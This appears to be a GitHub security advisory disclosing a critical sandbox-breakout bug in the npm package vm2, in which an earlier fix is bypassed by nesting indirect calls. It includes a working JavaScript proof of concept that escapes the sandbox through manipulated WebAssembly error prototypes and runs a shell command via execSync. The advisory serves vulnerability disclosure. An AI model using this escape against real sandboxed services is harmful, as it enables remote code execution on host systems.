GHSA-cfcw-xp6x-25gj: Critical severity npm/vm2 vulnerability

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.

PoC

js const {VM} = require("."); const vm = new VM(); console.log(vm.run( const getProto = Buffer.call.call(Buffer.call, {}.lookupGetter, Buffer, "proto"); const setProto = Buffer.call.call(Buffer.call, {}.lookupSetter, Buffer, "proto");

async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null); }

try { await WebAssembly.compileStreaming(); } catch(e) { e.constructor.constructor("return process")().mainModule.require('childprocess').execSync('touch pwned'); } }

f(); ));

Impact

Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.